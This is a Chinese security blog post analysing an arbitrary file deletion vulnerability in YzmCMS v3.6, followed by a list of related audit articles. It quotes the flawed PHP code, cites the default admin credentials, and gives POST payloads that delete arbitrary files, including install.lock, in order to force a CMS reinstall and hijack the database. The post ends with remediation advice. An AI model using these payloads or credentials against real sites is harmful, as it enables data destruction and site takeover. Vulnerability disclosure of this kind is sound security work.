0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

0x01 代码分析

1、文件位置: /application/member/controller/member.class.php 第118-132行中:

  1. public function edit(){
  2. $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
  3. if(isset($_POST['dosubmit'])){
  4. if($_POST['password'] == ''){
  5. unset($_POST['password']);
  6. }else{
  7. $_POST['password'] = password($_POST['password']);
  8. }
  9. if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){
  10. 10.             if($_POST['userpic'] != ''){
  11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  12. 12.                 if(is_file($userpic)) @unlink($userpic);    //删除头像文件
  13. 13.                 $_POST['userpic'] = '';
  14. 14.             }
  15. 15.         }

这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。

2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:

  1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  2. 等价于
  3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);

默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。

3、如何绕过这种限制?

我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。

0x02 漏洞利用

1、在网站根目录下,新建test.php作为测试文件:

2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

构造url连接,可成功删除根目录下的测试文件。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

3、如何进一步利用?

思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

构造这样的请求,即可删除install.lock文件,然后访问

http://127.0.0.1/application/install/index.php 即可进行CMS重装。

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  3. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  4. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  5. 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  6. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  7. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  8. dzzoffice 任意文件删除漏洞分析

    dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){    $arr=array();    $ ...

  9. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

随机推荐

  1. 封装PHP验证码方法

    /** * 生成验证码 * @param integer $width 图片宽度 * @param integer $height 图片高度 * @param string $type 验证码类型 * ...

  2. Chart:Amcharts

    ylbtech-Chart:Amcharts Amcharts ,是一个致力于图表组件开发的公司,公司地址在立陶宛首都维尔纽斯,2004年开始推出图表和地图组件. 1. 简介返回顶部 截至目前,amC ...

  3. 【Spark】榨干Spark性能-driver、exector内存突破256M

    榨干Spark性能-driver.exector内存突破256M spark driver memory 256m_百度搜索 Spark executor.memory - CSDN博客 sparkd ...

  4. 用户人品预测大赛--TNT_000队--竞赛分享

     用户人品预测大赛--TNT_000队--竞赛分享  DataCastle运营 发表于 2016-3-24 14:29:57      887  0  0 答辩PPT 0 回复     用户反馈 隐私 ...

  5. PowerShell使用ServicePrincipal登陆Azure

    一.打开PowerShell 二.输入下列命令 $pass = ConvertTo-SecureString "<这里换成您的AAD应用密钥>" -AsPlainTex ...

  6. 用MATLAB生成模糊控制离线查询表

    实时采样得到的数据经过模糊化处理后输入机器,通过查询模糊规则表便可得到应有的输出模糊量,从而避免了近似推理过程.实际应用中,特别是在控制系统较为简单而采用单片机控制时,常常采用这种查表法. 模糊控制表 ...

  7. 关于ř与tableau的集成---- k均值聚类

    1.利用R内置数据集iris: 2.通过Rserve 包连接tableau,服务器:localhost,默认端口6311: 3.加载数据集iris: 4.编辑字段:Cluster <span s ...

  8. Delphi读取不Word中不规则表格数据并转换成标准表格

    程序需要,需要将word中不规则的表格数据转换为标准的表格,即合并的单元格按正常格式解析,word中的表格格式如下: 解析后数据如下: 借鉴了网上代码,如下处理: procedure TfrmMain ...

  9. 【SqlServer】SqlServer的游标使用

    什么是游标 结果集,结果集就是select查询之后返回的所有行数据的集合. 游标则是处理结果集的一种机制吧,它可以定位到结果集中的某一行,多数据进行读写,也可以移动游标定位到你所需要的行中进行操作数据 ...

  10. 【Android】详解Android Service

    目录结构: contents structure [+] Service简单概述 Service在清单文件中的声明 Service启动服务 Service绑定服务 扩展Binder类 使用Messen ...